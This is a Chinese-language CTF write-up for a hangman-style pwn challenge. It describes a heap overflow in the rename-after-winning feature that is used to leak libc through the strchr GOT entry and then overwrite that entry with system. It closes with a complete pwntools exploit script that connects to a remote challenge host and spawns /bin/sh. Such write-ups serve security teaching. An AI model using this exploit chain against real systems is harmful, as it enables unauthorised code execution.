首先,检查一下程序的保护机制
然后,我们用IDA分析一下
最开始输入名字,根据名字长度申请堆
当我们打赢游戏,更改名字时,可以出现溢出
[之前的堆依然还是那个,而我们的输入的内容可以变得更长,导致溢出到下一个堆块,而下一个堆块正式游戏数据的结构体]{.mark},我们就可以篡改,改成函数的got表地址,再次打赢游戏,就能泄露信息,同理,再来一次,修改got表
而这个游戏是一个猜字母的游戏,并且是这样记分数的
要猜的字母个数等于我们输入的用户名长度
我们如果输入长度大于26的名字,然后从a到z猜,就一定可约获胜
我们完整的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * from LibcSearcher import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') sh = remote('111.198.29.45',48979) elf = ELF('./hungman') strchr_got = elf.got['strchr'] system_s = libc.sym['system'] strchr_s = 0x89AB0 def winGame(): for x in string.ascii_lowercase: ans = sh.recv() if 'High score! change name?' in ans: break if 'Continue?' in ans: sh.sendline('y') sh.sendline(x) sleep(0.2) sh.sendlineafter("What's your name?","a"*0x30) winGame() sh.sendline('y') sleep(0.5) payload = 'b'*0x30
payload += p64(0) + p64(0x91)
payload += p32(0x100) + p32(0x100)
payload += p64(strchr_got) sh.sendline(payload) sh.recvuntil('Highest player: ') strchr_addr = u64(sh.recvuntil(' score:',drop = True).ljust(8,'\x00')) libc_base = strchr_addr - strchr_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) sh.sendlineafter('Continue?','y') winGame() sh.sendlineafter('High score! change name?','y') sleep(0.2) sh.send(p64(system_addr)) sh.sendlineafter('Continue?','y') winGame() sh.sendline('y') sleep(0.5) sh.sendline('/bin/sh') sh.interactive()
|